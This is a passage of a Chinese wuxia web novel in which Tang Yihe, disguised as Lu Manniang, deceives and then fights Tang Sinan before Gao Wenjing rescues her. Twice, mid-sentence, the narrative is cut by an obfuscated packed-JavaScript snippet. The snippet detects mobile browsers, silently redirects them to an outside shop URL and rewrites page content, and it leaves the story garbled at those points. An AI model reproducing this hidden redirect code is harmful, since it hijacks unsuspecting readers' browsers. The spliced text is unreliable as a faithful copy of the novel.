“你知道这件事的来龙去脉?”唐一禾惊讶极了。 “知道的不多。”高文璟坦诚,“不过广通镖局的事儿闹得很大,之前听楚玉说了一些,这两天倒是有了结果。现在听闻唐司南逼婚,你们又要送走陆曼娘,那跟老陆头一起,救得陆曼娘性命并仗义追凶的江湖侠士,自然就是你跟烈风师弟二人了。” 唐一禾暗暗心惊,这位高师兄如此敏捷通透,难怪自己一直心里犯怵。不过刚呷了一口茶,他就想清楚了前因后果,甚至问出了最关键的问题——如何把人从唐司南眼皮子底下弄出来。 唐一禾想着,反正他都帮到这个地步了,也不差多说几句,然后竹筒倒豆子般、把营救计划详详细细地说了一遍。正好也让他帮着看看,整个过程还有什么疏漏。 高文璟认真听完后,表示计划非常完美,唯一的挑战就在于——君白术的易容术,究竟能不能以假乱真?为此他也表示出极大的兴趣,申请今天晚上去现场观摩。作为回报呢,他自愿当北市码头的接头人,确保万无一失。 唐一禾心里一合计,这个买卖可以做!不过是增加一名观众,换来的可是一等一的打手,万一出现跟踪打斗的事儿,高文璟的武功可是金章擂台严选,可信度极高。 对此,高文璟也很高兴,见为时尚早,在逍遥楼里给唐一禾安排了吃喝洗浴一条龙服务,更是牺牲了自己的男色,陪吃陪喝陪玩。 在听到唐一禾提出美人陪酒的非份要求,高文璟也只是看了看男装的唐一禾,在确定了美人性别之后,毫不犹豫地唤来了八个姿容如仙、燕瘦环肥的花魁前来助兴。为此唐一禾非常感慨——冷面美男就是比小白脸靠谱,小白脸尽会说好话,冷面美男直接上狠货。 不过,美人陪酒也不是那么好消受的,唐一禾快被脂粉香熏晕过去,两杯酒落肚之后,就打发她们走人。为此高文璟还很不解:“是这些美人不够貌美,还是不够可心?可以再换八个来。” 吓得过了瘾的唐一禾连连摆手:“无福消得美人恩,你陪我就行。” 高文璟闻言呛出了一口酒,唐一禾马上解释道,她只是想趁此大好良机,与高师兄切磋一下武艺,这才让高文璟止住咳嗽,安静如鸡。 倒也不是真要动手拆招,同为唐门内门弟子,“九转心经”的理解是绕不开的第一课,是可以逐字逐句探讨的重要一课。对此高文璟没有藏私,将他仅学了不到两个月的事实和盘托出。对此唐一禾深受打击,毕竟她可是学了八九年,近两年一直在第六层原地踏步。高文璟才学了一个多月,就到了第七层,真是货比货该扔,人比人该杀啊。 一番探讨印证后,唐一禾发现,二人对关键心诀的领悟不尽相同,高文璟提供了一条完全不同于师弟的新道路,可以试试。而唐一禾对于内力如实质的理解,也让高文璟打开了新思路——有时候止步不前,未尝不是一件好事。 这个晚上,当神清气爽、面貌一新的唐一禾,带着同样神清气爽、面目沉静的高文璟出现在万安药铺时,君白术发出了一声尖叫,不是惊吓,而是惊喜。 “你从哪里挖出来,这么一个大美人来助拳?”君白术一脸激动地拉过唐一禾咬耳朵,“这也太气宇轩昂,英武帅气了吧。” 唐一禾惊诧地看了一眼君白术,又望了一眼高文璟:“嗯,他就是‘赤焰’。” “啊?”君白术又低呼了一声,“就是跟你们打架的那个,那个‘赤焰’?” “如假包换。”唐一禾拍拍胸脯。 “啧啧,啧啧啧啧。” 14.各司其责 这俩还在窃窃私语,已经磨完刀的唐烈风走出来,见得高文璟在这里,脸上不见丝毫惊讶,径直过去攀谈。等唐一禾应付完君白术,再次抬头望向高文璟时,发现师弟已经带着他进去内堂了。 那个,这俩什么时候这么熟了? 有了高文璟的友情加入,晚上讨论会的人数扩充了不说,连带会议气氛都变得更加团结而高亢。由于今日三方的进展都很顺利,于是很快进入了重磅环节——由君白术操刀,开始给唐一禾易容。 君白术这边,一切都按计划进行。下午的时候,唐司南派来求医的人如期而至,请声名在外的君大夫上门问诊。早已等候多时的君白术,选了一个身形瘦小的药童,让他戴上特制的人皮面具后,与他一并前往。 面对自己弄出来的红疹子,君神医大展身手,一套针灸加外敷加内服后,红疹退了一半。然后君神医拍着胸脯保证,明日酉时再来一套,红疹必消。回来后,跟陆曼娘近距离接触了一个多时辰的君神医,再次拍着胸脯保证,一定弄得一模一样。 唐一禾必须承认,君白术的易容术跟她的不是一个量级,工序之繁琐,要求之细致,都在挑战唐一禾的极限。好在操作的时间不算太长,当唐一禾睁开眼睛时,实实在在吓了一跳。铜镜里的陆曼娘瞪着眼睛,张着嘴看着自己,唐一禾左右晃了晃脑袋,镜子里的陆曼娘也随之左右晃动。 “妈呀,你这不是易容。”唐一禾一把跳起来,抓住君白术的肩膀,“你这是换头。” “一开口,全完蛋。”君白术慢条斯理地清洗着手上的涂料和黏胶。 “嚯,这鼻子,嚯,这嘴,嚯,这脸蛋……”唐一禾一边轻轻地触摸陌生的五官,一边小心翼翼地跳着蹦跶,“不会掉吧。” “只要不是刀砍斧劈,掉不了。”君白术白了唐一禾一眼,“就是卸的时候费点力,要用热水敷面,慢慢揉搓化开。” “真是巧夺天工。”高文璟觉得这一趟没白来。 听到高文璟的衷心称赞,君白术更得意了:“易容术嘛,简单不过形似,难得在于神似。二人都是妙龄女子,给一个易容成另一个的样子,何难之有?但你看,一禾与陆曼娘尚不提身形体态,单看举止眼神,就迥然不同,熟悉之人一眼就能辨别出,你是个假货。” 唐一禾回忆起陆曼娘的动作神态,一跺脚一转身,换上假声腔调:“你说谁是个假货?” “哇塞,你真是个天才。”君白术高兴得连连鼓掌,“好,好,小禾苗你这个模仿,真的是太绝了,配得上我这番工夫。只是这个身型嘛,虽然身高差不多,但陆曼娘比你窈窕丰腴许多,晚上我给你做几个假的带上。” “呃……”唐一禾突然觉得,这样的场景配上这样的评价,算是公开处刑。 高文璟觉得热闹看够了,再看下去可能是另外的价钱,果断礼貌告辞。老陆圆滑得很,借口孙子生病,得赶紧去看下。君白术出于对成品的负责,量了尺寸后,连夜赶制配件去了。 厢房里一瞬间就只剩下顶着陆曼娘一张脸的唐一禾,和时不时看一眼师姐的唐烈风。 “使劲看吧,过了明晚,你就看不到我了,烈风弟弟。”唐一禾端庄素雅地坐着,娇弱含羞地说道。 “过了。”唐烈风无力地说。 “曼娘感念侠士的救命之恩,甘愿以身相许,只恨有缘无份,无法做得这双飞的彩蝶、戏水的鸳鸯。”唐一禾有点沉迷于角色扮演,一时难以自拔。 “啪”的一声,唐烈风把手中《毒经》往桌上一拍,忍无可忍地说:“师姐,明知我心中难受,非要逼我说什么吗?” 唐一禾心中咯噔一下,有点惭愧起来。虽说是戏言,但师弟自小跟自己长在山中,没见过什么美人,陆曼娘这般顶美又落了难,怀春少年如何抵挡得住?之前开开玩笑,也无伤大雅,但事情走到现在,再行调侃就是大大的不妥。 好在知错就改,善莫大焉,唐一禾马上连声道歉,表示天涯何处无芳草,不必单恋一根苗,而且感情的苦越吃得早,以后的路就越走得好。说完之后,她一个字也不敢再说,卷铺盖睡觉。 次日白天格外难熬,唐一禾穿戴上君白术连夜做出的配件,觉得实在累赘,在此之上还得二次乔装,又是扎上厚厚的裹胸布,又是穿上药童的衣服,最后还得戴上人皮面具,直憋得唐一禾呼吸困难。不过没办法,人皮面具是很关键的一环,昨天药童戴着去了陆家,算是过了明面,做好了真假陆曼娘进出宅院的身份幌子。 被塞成假人的唐一禾简直失去了生机,暗自后悔以这般易容,换君白术自己去,也不是不行。期间唐烈风还反复过来叮嘱,发现有任何苗头不对,立刻撤出来,一切以保全自身为上,万不得头脑发热,做出逞英雄的事儿。 以前都是一起行动,唐一禾从来没发现,单飞的唐烈风这么啰嗦,一边连声答应后,一边从钱袋里掏出一叠银票塞给他:“曼娘二叔那边,你如果确实做不来梁上君子,也不要逞强,一切以保全自身为上,就用这些钱充数吧。不搞大户人家的场面,一千八百两紧着点花,够陆曼娘过上不求人的日子。等以后咱们有钱了,再去江东找她呗。” 唐烈风看了看钱袋里边,仅剩下几个铜板,知道这是二人全部的银钱了。他默默地接过银票,嘴巴抿得很紧,心里已经打定了主意,这一千八百两绝不能动。 “快准备一下,唐司南的人来请了。”君白术探头进来,“烈风你是不是也该动身了。” 唐一禾翻身坐起,快速将各种物件准备好,坐上了前来接诊的马车。 马车轱辘“棱棱”地行驶在青石板上,唐一禾心中不安又无事可干,盯着君白术的侧脸发呆。君白术容貌虽不出众,行事也出人意表,但眉眼清俊,骨相优越,尤其是行医看诊时,自有一股摄人的风姿。 “看我做什么?”君白术感受到唐一禾的视线。 唐一禾笑笑,低声说:“男子若有本事在身,自然风姿天成。” “女子也一样。”君白术显然误解了唐一禾的意思,“陆曼娘虽美,你也不差在哪,更有本事有趣得多,小禾苗不必妄自菲薄。” 唐一禾点点头,不再言语。 下马车、通报、进门、检查,再进入陆曼娘所居的后院厢房,一切都非常顺利。老陆夫人是个妥帖麻利的妇人,一直贴身陪伴着陆曼娘,因此唐司南派来的两个内门女弟子只能在外间盯着,这样就给偷梁换柱留了空间。 君白术的表演非常卖力且精彩,诊脉开方下针,行云流水一气呵成,陆曼娘手脸上的红疹,以肉眼可见的速度消减了下去。唐一禾扮演的药童也可圆可点,备药煎药都是专业手法,然后顺利地将半碗药洒在陆曼娘衣裙上,换来一阵女子的惊呼,以及君神医恰到好处的叱责。 陆曼娘快速换上唐一禾脱下的药童装束,戴上人皮面具,一转头,发现另一个“陆曼娘”已经披散头发、半躺在软榻上,正让君神医查看脸上的红疹,有无留下印记。 陆曼娘一时悲喜交加,喜的是这易容之术如此神奇,她脱身有望,悲的是不过短短半个月,就家破人亡。想到要独自避难江东、前途未卜,陆曼娘正欲落泪,却看到那个“陆曼娘”正没心没肺地咧嘴大笑,急得一旁的君神医跳着脚冲她比划,顿时又觉得不该这么软弱。 那个两次挺身而出、救她于危难之中的唐姑娘,虽然看起来精明又强大,但也只是一个十几岁的小姑娘啊。而且唐姑娘与自己素味平生,仅凭一腔热血出手,分文不取还可能搭上性命,陆曼娘瞬间做了一个决定。 她快步走过去抓住唐一禾的手,将不明所以的她拉到屏风后,然后掏出一个硬硬的东西塞过去,附耳轻语:“这就是传说中陆家的无价之宝,我也不知道这是什么,祖父传下来的,说是能开启至宝大门。但这东西给陆家带来的不是富贵,而是灾祸,现在我把它送给你,就由你来帮我挡灾吧。” 唐一禾一愣,下意识就要推拒,不料陆曼娘心意已决,不容推拒地松手转身,然后快步走出屏风,让唐一禾伸出的手只能快速转回,悄无声息地将东西揣进兜里。唐一禾当然不会相信陆曼娘的托词,认为是什么招灾的晦物,但究竟是什么至宝,她也并没有多少兴趣。 想到相识一场,临别相赠也讲究个你来我往,唐一禾翻了翻随身带的几件物什,挑出一件勉强能拿的出手的,走出去递给陆曼娘:“我自己做的唇脂,颜色有点淡,但碰到有毒的东西,都会立刻发乌,我觉得你可能用得上。” 唐一禾想了想,又接着说:“陆姑娘,你是我见过最美貌的姑娘,但美貌也要看你怎么用。你把它当观赏物,吸引来的就是抢夺者,你把它当武器,你就变成了拿刀的,除了生死,其他都是小事。天下虽大,有缘自见,望珍重。” 陆曼娘闻言身心剧震,仿佛一通冰水当头淋下,虽然冷侵骨髓,却也瞬间通透——想不到这样的话,是从一个小姑娘的嘴里说出。陆曼娘觉得经逢巨变,这算是最有用的一句安慰了,唐门经部的女弟子有如此见识,她陆曼娘又未尝不能一试? “好,下次见面,我就让你看看,我能不能拿上刀,明珠自赏我也是做够了。” 陆曼娘的语气,平静中带着澎湃,“除了生死,都是小事。” 君白术已经等不及了,见火候差不多了,立刻扬声说:“幸不辱命,陆姑娘的病既已痊愈,那君某人就先行告辞了。” 陆曼娘马上亦步亦趋地跟上,只听他对外间盯守的两位女弟子客气说道:“后续如有问题,随时差人来万安堂找我。” 一个女弟子走进内室,看了一眼坐在软榻上的“陆曼娘”,果然脸颊瓷白如玉,肤色更胜从前。她心想果真少年神医,一定记好了万安堂的招牌,去调配几幅养白嫩肤的霜膏。 检查无误后,两位女弟子客气地请君大夫慢走,陆曼娘扮作的药童也终于放下心来,紧跟着君神医出了后院。二人往前厅正门走着,前面回廊突然传来一个熟悉的脚步声,陆曼娘的心猛地跳了一下,血液刹那间凝固,她马上抬起双眼,看到那个迎面快步走来的人,不是唐司南又是谁? 天呐,他这会儿来这里做什么?不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531111|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是明天才是吉日吗?他不会认出自己了吧?认不出的话,那唐姑娘要怎么办?陆曼娘光想想都要晕倒了,好在走在前面的君神医咳嗽了一声,避身让道行礼,陆曼娘只得僵硬照做,配上那张僵硬的人皮面具,倒也不违和。 唐司南脚步未停地大步走过,只是微不可见地点了点头,算是打了招呼。他自恃身份,一般人哪里入得了他的眼?君白术待唐司南走后,仍是不紧不慢地走到了大门,出言婉拒了送回的马车,借口正好南边两条街上,有一个官宦太太要回诊,他步行过去就行。 等转过街角,君白术立刻跳入街边一辆揽客的马车中,声音变成了十万火急:“快去北市码头,越快越好,到早加钱。” 马车夫一听还有这等好事儿,马鞭甩出了重影,载着二人快速朝北疾驰而去。 自觉难关已过、大功告成的唐一禾,一点都没意识到危险的迫近,她借口头疼,打发走了老陆夫人,也让丫鬟们也各自歇下,然后美滋滋地翻看起墙角堆着的聘礼箱子。不能白来一趟啊,衣裳布料太沉,珊瑚如意不好拿,玉器瓷器容易碎,还是金钗明珠方便省事儿…… 只听厢房门“吱呀”一声响,一个脚步声快速穿过外间,唐一禾刚想说那两个女弟子是木头不成,突然意识到不妙,还没来得及将金钗放下,一个气势不凡的男子就已经走了进来。 尽管唐少阁主的大名已经如雷贯耳,但这还是唐一禾第一次见到真人。只见他二十七八岁的样子,面目出乎意料的英俊,高鼻深目、双眉斜飞,身量不高但矫健灵活,自带着一股上位者的威势。 看到唐一禾望向他,唐司南脸上的倨傲之色马上淡了,声音是低沉柔和的:“曼曼,我忍不住要来看看你。太好了,你的红疹都下去了,姿容更胜往昔。回头我会重赏那个君大夫,是不是刚才进门看到的那个?嗯,算得上年少有为了。” 曼曼?唐一禾警觉地意识到,这两人未必如自己之前想的那样。 唐司南在这罗城,算是顶级的财貌双全,陆曼娘一个双十年华的女子,在他这样的攻势下,还能保持初心,已经算是不容易了,外人又怎会知道,这两人之间究竟是怎么一回事?纠葛羁绊到底有多深? 糟糕糟糕,看来今天的戏,难演了啊,唐一禾暗暗心焦。最重要的是,如果马上露馅的话,那么白术带着曼娘还没走远,定然会被追踪上,这要被一路追到高文璟的船上,只怕出岷江都成问题。 不行不行,唐一禾抖擞精神,决定就算咬碎后槽牙,也要撑过一个时辰。那样的话,等到曼娘上了船、离了岸,再驶出个几里地,码头上每日往来的船只那么多,就没什么可担心的了。 “君神医确实四诊皆佳,又如此年轻,日后成就不可限量,不妨早做准备。”唐一禾调整了一下声线,决定先给唐司南画个饼。 果然,唐司南闻言一怔:“曼曼,你这是,帮我考虑以后的事儿了?所以,你终究是信我了?” 我信你个鬼,唐一禾心里骂着,嘴上的话却是楚楚可怜:“事已至此,我别无所依,只能选择信你。不信你,我,又能选择信谁?” “我对你的一片真心,说得次数多了,都快贱如草芥。”唐司南语气中带着一丝不满,但也没有表现得太过,“倒是曼曼你,始终摇摆不定。那我不妨再说一次,跟了我,你就是我最心爱的女子,在罗城的地盘上,没有人能大过你去。” 唐一禾心中只冒酸水,这么深情,不还只是平妻?还有那七房姨太太,等着互相撕头花呢。但戏还是要接着演的,她努力挤出两滴泪水:“那,那我,我就信你了,司南哥哥。” 唐司南惊讶地抬起头,怔怔地看向唐一禾:“你终究肯再叫我司南哥哥了,我真的,太快活了。”他一个健步上前,大力握住唐一禾的肩膀,低头就要亲她的嘴唇。 唐一禾的天都要塌了。 这也太突然了,入戏太深也不是好事,唐一禾强忍着不适——那股热烘烘的男子气息实在让她毛骨悚然,她扭捏着避过头,往后退了两步:“明日就是大婚了,司南哥哥不妨再等上一等,给曼娘全个礼数。” 唐司南闻言也不勉强,深吸了一口气后松了手,然后牵过唐一禾的衣袖,带着她走到圆桌前坐下。唐司南正想着如何再说点好话,不期看到她手里竟抓着一根金钗,忍不住诧异挑眉:“我以为曼曼不喜欢金饰呢,之前也不愿跟我逛金店,说俗不可耐。” “人的想法怎么会一成不变呢?少不更事时,喜欢附庸风雅,历经千帆后,自然识得金子的好处。”唐一禾一边快速给自己喜好的转变打圆场,一边不着痕迹地将手藏在衣袖之中。 唐一禾之前就注意到,她跟陆曼娘的手明显不同,这可不是易容能改变的。陆曼娘虽出身镖行,但吃不了练武的苦,只在小时候开蒙学过几年,后来改练琴棋书画,一双纤纤素手,葱指皓腕的。唐一禾的手则骨节分明,灵活有力,指甲修得极短,掌心虎口均有薄茧,细心之人,不难看出端倪。 唐司南状若无意的问:“曼曼,你怎么把指甲都剪掉了?” 15.身份败露 唐一禾强自压下响若擂鼓的心跳。 她装若无意地哽咽了几下,然后用上最哀愁的眼神,深情地对上唐司南的深目:“我们陆家几十口不明不白做了替死鬼,司南哥哥,你可知道,最深的夜晚我是怎么熬过来的吗?” 唐司南从未见过那样的眼神,神思飘忽了两下,更有一些心虚,却见陆曼娘的眼眶一下子红了,她的声音也开始颤抖:“指甲折了,可以再长,嗓子哑了,可以重好,但一颗心碎了呢?” 唐一禾觉得要打消唐司南的疑虑,必须在情感上一鼓作气,先站到道德的制高点上,将其打倒:“现在曼曼把这颗心拿出来,就问问司南哥哥你敢不敢要?这颗心因你而动,因你而伤,更因你千疮百孔。珠泪犹温铜驼冷,沉舟侧畔,如何唤取故园灯?司南哥哥你可想好了,我的这颗心一旦收下,别的所有事都可以不计较,我只要在你心里排第一。” 唐司南虎躯一震,只觉得心中热热的,依稀是少年时期曾有过的情浓血热,只是在欢场流连得太久,几乎忘记了“血作朝阳骨作山”。想不到在将近而立之年,还能重获如此感觉。看来陆曼娘不仅相貌合意,性情也合拍,原来她身上只有小女儿的做派,想不到骨子里,也是个带劲儿的女人。 唐司南盯着唐一禾的眼睛,一字一句地说:“甲木姿是明正土司的嫡女,又是我母亲的侄女,我现在动不了她,但日后我必给你唯一的正妻身份,也会让你生下嫡子,继承主家。我唐司南在此起誓,有生之年,绝不负陆曼娘。” 唐一禾想着此处应该有雷声,然而天公不作美,把雷劈向了唐一禾——因为唐司南发完誓后,又搞了一出突然袭击,飞快地在她脑门正中亲了一口。 真晦气,来不及反应的唐一禾,顿时觉得她的额头都脏了,强忍住没有抬手去搓。还好只有一下,再有第二下的话,唐一禾保不准会不会使出擒拿手,然后踢爆他的子孙袋。 唐一禾估摸了一下时间,从唐司南进门到现在,还不到半个时辰,就已经有两次身体接触了,她在想接下来的戏要怎么演,才能保证双方的安全?而且近距离看久了,这个易容术也不是无懈可击,尤其在亮光下,被识破的可能性更大。 对了,那就不在亮光下,唐一禾终于打开了思路:“司南哥哥,我起红疹在屋子里闷了两天了,今晚月光皎洁,你可否陪我去院子里走走?” 美人相邀,哪有不从之理? 唐司南也没想到今晚的进展如此顺利,以至于两人并肩漫步在后花园时,他还觉得跟做梦一般。这个陆曼娘真的太对他胃口了,说的每一句话都有回应,抛的每一个梗都能接住。 看来在俘获了一个女人的心之后,连带着会让她关心起他的一切,比如生意场上的拉扯,她都愿意听,唐门内部的角力,她也觉得有意思,甚至连武功修行,她都能问出个一二——只是问题有些可笑有趣罢了。 唐司南从未觉得有人能如此知情达意,今日可算是直抒胸臆畅快非凡。再看那月光下的美人,正含羞带怯的笑着,那笑容仿佛一片羽毛,在他的心上轻轻拂过。唐司南顿时情潮汹涌,突然伸手将美人揽入怀中,把头埋在她的颈侧旁,深深地吸了一口。 这是唐一禾第三次有杀人的冲动了。 这个凑在耳旁戏闻的男子,浑身的气息是如此污浊难闻,混着烟草、酒精、脂粉以及说不上来的秽乱之气。正当唐一禾暗运气力,准备出手之际,一股大力将她往后一推,一个低沉阴郁的声音响起:“你不是陆曼娘,你是谁?” 唐一禾顺势往后趔趄几步,站定后略带诧异地看向对面。她的心里只有解脱的松快——总算是熬满了一个时辰,你不翻脸我也要翻脸了。不过,她究竟是哪里露了破绽呢? 月光下的唐司南面目扭曲,神色间略有狂乱:“你究竟是谁?真的陆曼娘被你们弄到哪里去了?”他捏了捏拳头,好像打算动手,但又忍住了,“你不要再装了,曼娘的右耳朵背后有颗红痣,你没有;曼娘的气息是甜香的,你不是;你们的手也完全不一样,我明明早都发现了,我……” 唐一禾笔直而立,冷言相讥:“明明早都发现了,还在这啰里巴嗦那么多,可见你也并没有多爱陆曼娘,你只是要面子又缺爱罢了。” 唐司南见对面的女子浑身气势已变,声音还是那个声音,但此时从那张甜蜜小嘴里说出的话,仿佛射出的毒箭直插心尖。唐司南心中蒸腾的怒意,和难以言说的尴尬被瞬间点燃,一招开山震虎爪朝唐一禾当胸抓去:“那就让我看看你是谁?” 唐一禾没想到唐司南说打就打,用的还是这么下流的招式,仓促间矮身双臂交叉横挡,硬接了他这一招,只震得臂骨欲折,双足陷入土地半寸。有了金章擂台的历练,唐一禾倒也没有太惊慌,双臂发力脱开压制,足尖旋飞踢起一层浮土,腰腹一拧,另一足直踹唐司南下裆。 唐司南万料不到这个神秘女子竟有如此身手,虽说他也有留手,但那一抓也用上了八分力,原以为能轻易将对方擒住,不想对方反守为攻,借势发力如此娴熟,竟是个不弱的练家子。 唐司南后退半步,拂袖荡开土雾,却发现对手的下盘攻击乃是虚招,那女子人已在一丈之外,朝花园围墙飞掠而去。 想跑,没那么容易,唐司南双手一扬,十数柄飞刀冲着她的背影,上中下三路疾射而出,然后他双足一点,人如鹰鹫般腾空而起,朝着唐一禾的方向追击而去。 唐一禾还没有空手接暗器的本事,只得听声辨位,横掠滚地躲开飞刀,再想起身上跃围墙,一连三次都被唐司南牵制阻击,最后一次甚至被抓住脚踝,甩至墙角的花圃中,落地滚了几圈才站起来。 唐一禾心中暗暗叫苦,这个人娶了那么多小老婆,倒是一点都没耽误他练功。从交手到现在,不过几个来回,唐一禾就明明白白地认清了差距。她较之唐司南,内力先差了两个大境界,而且他的身法之快,远超任何一个对手,当引以为傲的轻功也被断层碾压,唐一禾就知道——今天要完! 唐一禾刚吐掉嘴边的草叶子,就见他当头一爪直奔百会穴而来,同时左侧腰也有强劲风声。挡不住了,小命危矣!唐一禾只得先抬手,挡住致命一击,同时左足翻起,认命般横踢出去,电光火石间,唐一禾突然福至心灵地喊了一句:“司南哥哥,你可忍心。” “砰”、“砰”两声同时响起,唐一禾往前扑了几步,站稳快步回身。 竟然真的逃过了? 她不可置信地看到,她的腿踢到了唐司南的侧腰,而他原本抽向她命门的鞭腿,也在最后偏了准头,堪堪踢在了她的八髎上。 “你再喊一句试试。”唐司南满脸沉郁之色,咬牙切齿地说,同时从怀里掏出一副银光闪闪的手套戴上,上面全是密密麻麻的尖刺。 这要挨一下,可就真完了,粘上就得掉一层血肉,唐一禾不由自主地打了个冷颤,左腿开始忍不住微微颤抖,也不知道是刚才摔的还是被踢的。 “铮~” 就在此时,一道剑声响起,二人循声望去,只见一条黑色人影,手持长剑,立于花园中央,手中剑锋轻颤,发出细微的嗡鸣。是敌是友?唐一禾还在思索,就见那条人影一动,已经闪在唐司南身前,以霸道无比的气势、斩出了迅疾无伦的第一剑。 是友军! 太好了,唐一禾突然能闻到空气中的花香了,天娘老子保佑,终于有救了。 在黑衣人出现的那一瞬间,唐司南就感觉到了危险——这是他多年行走江湖的直觉,所以他毫不迟疑地将气势提升至极致,银色的双掌在月光下翻飞出了重影,接下了黑衣人浪潮般的进攻。 唐一禾自知内力差距太大,贸然加入战团只会适得其反。她先是冷静地在外侧摸摸观察,再在手里扣住“鬼妇”魏巍“送”的银针——这是她易容后唯一带进来的武器了,终于瞅准唐司南一招已老、一招将发未发之际,唐一禾将一把银针朝他甩了过去。 你送我飞刀,我还你银针,很公平。 唐一禾还的银针,无论时机还是角度,都极为刁钻,让唐司南非常难受。好在有多年的艰苦训练和对战经验,他的身法和反应都是顶尖的,于千钧一发之际,将真气游走于全身筋脉,让他在一手接下银针的同时,另一只手也扛住了黑衣人的剑招。 唐司南的手套看着柔软,实则坚韧非常,是一件不可多得的宝物。也多亏了这件宝物,让唐司南在二人围攻之下,能够全身而退,只是剑客内力霸道,唐司南单手接招,一条胳膊已经酸麻得难以抬起,胸腹之间更是气血震荡,受了内伤。他咽下嗓中的腥甜,发出一声尖锐的哨声。这一对狗男女,女的奸猾无比,男的举重若轻,如果二人继续联手,再不找帮手,岂不是要吃大亏? 听到哨声后的唐一禾,下意识往后退了一步,此时一丝极低微的声音传入耳内:“是我,赤焰,西南方向走。” 唐一禾毫不犹豫转身,运起全身劲力,完全不顾身后空档,朝西南角发足狂奔。身上的软袍丝帛,还有那一干假物件真是累赘,还有被唐司南踢过的地方扯着疼,但逃命哪能顾得上那么多,唐一禾只跑得耳边风声呼呼,只盼着速度能再快一点、更快一点。 奔得一会,一道身影从后赶至,唐一禾胆战心惊地一瞥,还好是高文璟。他的速度极快,并肩时一把拽住她的胳膊往前带,一边气息极稳地说:“后面缀得紧,你这白衣和模样,怕是不好脱身,先换了装束如何?” 唐一禾感觉快被拉爆了,哪里还说得出话,只得微微闭眼点头。高文璟见状突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533653|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转向,带着她足不点地几个起纵,隐入高低错落的楼宇瓦弄。只见他几拐八弯,在一片民舍阴影中穿行片刻,然后冷不丁驻足翻墙,跳入一处极不起眼的院落中。 走了两进院,唐一禾才发现此处别有洞天,不仅曲径通幽,回廊精美,草木以及屋檐阴暗处还隐匿着几道气息。等进入到一间书房模样的雅间后,唐一禾才后知后觉地意识到——这是高文璟居住的房间。 这是一间极为雅致的书房兼卧室,东西不多,但书桌床榻、案几屏风无一不做工精美。但此间主人似乎有些懒散,几本书散落在各处,日常起居的衣物也是堆叠一角,茶盏里还剩着半杯冷茶,似乎并没有人打扫归置。 “我去给你取一身干净衣服,再打盆热水过来。”高文璟很是平常地说,“这里没有丫鬟下人,是乱了些,有空我会整理的。” 高文璟一闪身不见了,不知为何,虽然还是摸不清他的底细,但唐一禾觉得此人气场中正,不是奸逆之徒。不管了,唐一禾果断开脱,先是上扯下拽,把假物件蹬了出来,然后把长发一挽,在脑袋上方盘了个揪揪,再用唯一顺出来的金钗扎紧。最后再把那套繁复的闺秀服和裹胸布除去,只余下贴身衣裤,爽得她长长地呼出一口气。 “衣服和热水皂角,都放门口了。”高文璟声音在门外响起,然后又随着脚步声离开了。 看看这素质、这人品,想到唐司南今天三次的动手动脚,唐一禾的气就不打一出来。可她转念一想,唐司南觊觎的是陆曼娘的美色,高文璟可是知道她什么样。唐一禾看看假物件,再看看自己,正反面无甚差别,然后她一边叹着气,一边开门将东西拿进来。 先套上干净男装,大小正好,再把脸泡进热水中,温度也刚好,唐一禾咕嘟咕嘟吐出一口恶气,大刀阔斧地开始卸装。君白术的易容术真的很结实,唐一禾揉搓得皮都疼了,才慢慢将颜料胶质洗去,好在高文璟准备的东西齐,皂角捣得也恰到好处,甚至还备上了一小碗青盐和一个丝瓜络,省下了她不少功夫事儿。 这也太细致了吧,唐一禾暗暗地想,高文璟一个有钱人,对她这么体贴周到,到底是有何所图?要知道,富人装穷比穷人装富更难,比如高文璟往那一站,看人的气势就是久居上位的。他可是有船哎,还不止一艘,带着皇商的牌子,他这处房子,连带看家护院都不一般,不是光有钱就能办到。 唐一禾一边乱想,一边开始擦额头。哦,这儿可得使点劲儿擦,可是最脏。铜镜里陆曼娘国色天香的脸渐渐消融,取而代之的是一张英气勃勃的脸。唐一禾走出屋子,见高文璟负手立在庭院那头,听到动静转过身来,素来的沉静脸上,竟然带着一丝笑意:“这样就好多了。” 唐一禾一时间都不知道该说点什么好,或者该挤出什么样的表情——什么叫这样就好多了?!要能长成陆曼娘那样,谁稀罕长现在这样! “这样就能安全回去了。”高文璟似乎看出了唐一禾所想,很是周到地补充了一句。 原来如此,唐一禾随即也微笑起来,却见高文璟的视线,从她的额头到了耳朵,不由伸手摸了摸耳朵。哎呀,沾了一手黏糊,再往下一捋,头发鬓角全粘成一团,原来刚才她只顾着擦脸,忘了耳朵鬓角都有乔装改扮。 “哎,又得再擦一遍。”唐一禾一跺脚,转身朝屋内走去。 “耳朵后不好弄,我可以帮你。”高文璟见状,觉得无甚不妥,也跟进了自己的书房。 “好的,有劳文璟师兄。”唐一禾丝毫不扭捏,大大方方地请他帮忙。 高文璟执惯兵器的手,居然也灵巧得很,不仅将唐一禾耳后发脚,清理得干干净净,整个过程中,都没有碰到她的皮肤。两人靠得很近,唐一禾能感觉到高文璟身上的热气,却没有对唐司南的那种极度反感,甚至连熏香都觉得可以忍。 因为需要跟毒虫毒物打交道,唐一禾和师弟从未用过任何熏香,也因六识过于敏感,她对任何熏香都避之唯恐不及。但高文璟身上这种熏香,似乎有点不一样,带着点冰凉的气息,还有一丝药的清苦,很是特别。 